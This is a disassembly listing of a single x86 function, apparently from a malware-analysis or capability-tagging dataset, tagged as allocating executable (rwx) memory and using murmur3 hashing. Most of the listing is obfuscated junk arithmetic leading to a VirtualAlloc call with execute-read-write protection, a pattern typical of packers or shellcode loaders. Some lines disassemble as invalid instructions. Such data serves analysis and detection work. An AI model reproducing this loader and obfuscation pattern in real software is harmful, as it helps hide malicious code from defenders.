Function at 0x404464
Capabilities:
Allocate or change rwx memory
Hash data using murmur3

Disassembly:
mov edx, dword [eax - 4]
test dl, 7
mov ecx, eax
push ebx
mov bl, byte [0x4bb059]
jne 0x404364
test bl, bl
mov ebx, dword [edx]
jne 0x4042e8
sub dword [edx + 0x14], 1
mov eax, dword [edx + 0x10]
je 0x4042bc
test eax, eax
mov dword [edx + 0x10], ecx
lea eax, [eax + 1]
mov dword [ecx - 4], eax
je 0x4042a4
xor eax, eax
mov byte [ebx], al
pop ebx
ret
mov ecx, dword [ebx + 8]
mov dword [edx + 0xc], ebx
mov dword [edx + 8], ecx
mov dword [ecx + 0xc], edx
mov dword [ebx + 8], edx
mov byte [ebx], 0
xor eax, eax
pop ebx
ret
test eax, eax
je 0x4042d3
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov dword [ecx + 0xc], eax
xor eax, eax
cmp dword [ebx + 0x18], edx
jne 0x4042d6
mov dword [ebx + 0x14], eax
mov byte [ebx], al
mov eax, edx
mov edx, dword [edx - 4]
mov bl, byte [0x4bb059]
jmp 0x40436d
mov eax, pe_nt_image_headers32
lock cmpxchg byte [ebx], ah
je 0x404287
pause
cmp byte [0x4bb989], 0
jne 0x4042e8
push ecx
push edx
push 0
call sub.kernel32.dll_Sleep
pop edx
pop ecx
mov eax, pe_nt_image_headers32
lock cmpxchg byte [ebx], ah
je 0x404287
push ecx
push edx
push 0xa
call sub.kernel32.dll_Sleep
pop edx
pop ecx
jmp 0x4042e8
mov eax, pe_nt_image_headers32
lock cmpxchg byte [0x4bbae8], ah
je 0x404379
pause
cmp byte [0x4bb989], 0
jne 0x404328
push 0
call sub.kernel32.dll_Sleep
mov eax, pe_nt_image_headers32
lock cmpxchg byte [0x4bbae8], ah
je 0x404379
cmc
invalid
push 0xa
call sub.kernel32.dll_Sleep
jmp 0x404328
test dl, 5
jne 0x404454
and edx, 0xfffffff0
test bl, bl
mov ebx, edx
push esi
mov esi, eax
jne 0x404328
test dword [ebx + esi - 4], 1
mov ecx, dword [ebx + esi - 4]
jne 0x4043bc
or ecx, 8
mov dword [ebx + esi - 4], ecx
test byte [esi - 4], 8
pushal
pushfd
add esi, eax
rol esi, 0x1d
xor eax, 0xfddea50
not eax
mov esi, esp
neg esi
test eax, esi
jb 0x404346
rol ebx, 5
or esi, edi
dec edx
mov edi, dword [0x4b7b5c]
and esi, edi
shl eax, 2
mov edi, eax
sub esi, dword [0x4b87b8]
rol eax, 0xe
xor ebx, eax
mov esi, eax
shr eax, 0x14
dec esi
xor esi, dword [0x4b88bf]
shr eax, 0xb
rol ebx, 0xb
mov ecx, dword [0x4b70ea]
add ebx, ebx
call fcn.00403af8
add ebx, esi
and edi, dword [0x4b9ac7]
neg eax
mov eax, 0x20e7d7c2
mov ecx, 0xa10714
rol esi, 1
inc eax
xchg eax, esi
inc edx
xchg edi, edx
shr edx, 0x13
neg edi
shl ebx, 0x16
call fcn.00406000
xchg esi, eax
call fcn.0040e061
ror esi, 7
loop 0x4043fa
shr edx, 0x10
add ebx, ecx
call fcn.0040376f
mov esi, eax
xor ebx, ebp
or edx, 0xafcdece
mov esi, dword [0x4b902c]
mov ecx, 0x2e8104
xchg ebx, eax
sub dword [0x4baa1c], 0x4333176
inc eax
rol edx, 0x1d
xchg esi, eax
inc eax
shr edi, 0x1a
call fcn.00420f0a
add dword [eax], eax
add dword [0x4bab6f], ecx
shl ebx, 5
xchg eax, esi
mov dword [0x4baa9a], 0x104e14ac
stosb byte es:[edi], al
dec ebx
add byte [esp + edx - 0x311defb2], ch
test eax, esp
jb 0x40448c
mov ecx, 0x6a42ec
mov dword [0x4ba854], edx
xchg edx, eax
inc esi
neg eax
sub edi, dword [0x4b867a]
neg esi
rol esi, 0xa
ror ebx, 0xe
not eax
call fcn.00421df1
loop 0x404476
call fcn.004059f6
xor edx, eax
mov eax, esp
or edx, 0x24a7bb5d
not esi
sub eax, ebx
xor esi, 0x80e645f
mov edi, 0x81eb920
and esi, edi
or esi, edi
not edi
neg edx
xor edi, esp
add ebx, esi
xor esi, eax
dec eax
ror esi, 0x1e
xchg esi, eax
dec eax
xchg eax, eax
and eax, eax
push 0x40
add edx, dword [0x4b9d82]
xchg esi, eax
xor esi, 0x534ee08
xor esi, 0x2af2e1a
mov dword [0x4baaee], ecx
xor ebx, dword [0x4b8c75]
mov dword [0x4baaaa], esi
not edx
call fcn.00420f0a
xor ecx, dword [0x4b9c78]
xchg edx, eax
inc esi
xor esi, eax
call fcn.00403af8
add edx, dword [0x4b7fc0]
add edx, dword [0x4ba0b0]
call fcn.00408039
xor ecx, esp
rol ecx, 0xb
sub ebx, dword [0x4ba156]
call fcn.004017a4
call fcn.00408039
mov dword [0x4ba950], ebx
push 0x3000
call fcn.0040cb15
or dword [0x4baa02], 0x413bf75
sub edi, eax
xor edx, 0x7d8291
call fcn.00403af8
inc eax
sub edi, dword [0x4ba384]
add esi, eax
xor dword [0x4ba82c], ecx
xor edx, esi
not esi
add esi, eax
mov dword [0x4babc6], 0x17e372fa
mov dword [0x4ba9ac], 0x413ea2b
call fcn.00405161
sub dword [0x4ba8b0], 0x1bd33c74
call fcn.0040376f
push 0x65b
not edx
call fcn.0040376f
inc eax
call fcn.00406b27
sub dword [0x4baaca], edi
dec edx
mov dword [0x4ba930], 0x129a27c7
mov dword [0x4ba97a], ecx
dec eax
neg esi
xor edx, ecx
xor dword [0x4bab5b], ebx
xor ecx, dword [0x4b973e]
xor ebx, esp
xchg edi, edx
sub esi, eax
dec edi
or dword [0x4ba988], edx
sub dword [0x4baa52], ecx
mov dword [0x4ba920], edx
xor dword [0x4ba8fc], 0x1b776a58
mov dword [0x4ba900], edi
call fcn.004017a4
call fcn.0040376f
push 0
add eax, eax
ror esi, 3
xor esi, eax
xor esi, eax
call fcn.004068f8
add eax, 0x26ca200
ror esi, 0xb
add dword [0x4ba892], esi
rol edx, 3
not edx
sub esi, dword [0x4b8eee]
neg edx
sub ebx, edx
rol esi, 0x10
sub edx, dword [0x4b7b60]
sub esi, eax
neg esi
xor ecx, dword [0x4b8990]
xor esi, eax
not ecx
xor eax, edi
add ebx, dword [0x4b8590]
mov dword [0x4baaac], esi
call dword [sym.imp.kernel32.dll_VirtualAlloc]
xor dword [0x4ba92e], ecx
sub ecx, dword [0x4baf01]
add eax, edi
add ecx, dword [0x4bac1c]
neg edx
xor eax, 0x32ece2a3
ror edi, 4
xor ecx, dword [0x4bad2e]
xor dword [0x4bab84], edi
add eax, ebx
xor esi, dword [0x4bae0e]
xor esi, eax
mov dword [0x4babdb], 0x27a7e784
xor dword [0x4bab57], 0x1e1e2c2b
xor esi, eax
sub eax, ebx
rol edi, 4
xor eax, 0x32ece2a3
neg edx
sub eax, edi
or dword [0x4ba842], edi
call 0x4046c3
xor edx, ebx
call fcn.0040376f
neg esi
xor dword [0x4ba96e], ecx
add edi, 0x10699d70
xor esi, eax
xor dword [0x4ba9d4], 0x144ade0
add edi, dword [0x4bacac]
dec esi
sub ebx, eax
mov dword [0x4ba8fc], 0x1448a1b9
xor edi, esi
call fcn.00405161
ror esi, 5
sub ebx, ebp
sub ecx, dword [0x4badc3]
xchg ebx, edx
xor edx, dword [0x4bac24]
xchg ebx, edx
add ebx, ebp
rol esi, 5
call fcn.0040376f
xor edi, esi
add ebx, eax
inc esi
mov dword [0x4bab7b], 0xd36a352
xor esi, eax
sub edi, 0x10699d70
sub dword [0x4bab9c], edx
neg esi
xor edx, ebx
pop esi
ror edi, 0xc
xor ebx, 0x11f3592e
xor edi, dword [0x4bad1a]
rol esi, 0x16
add ebx, esp
and dword [0x4bab9e], ecx
and dword [0x4bab18], ebx
xor esi, eax
mov dword [0x4ba9af], esi
sub ecx, esi
rol eax, 0x12
add esi, edx
call fcn.0040573e
add ecx, dword [0x4bada3]
invalid
int1
out dx, eax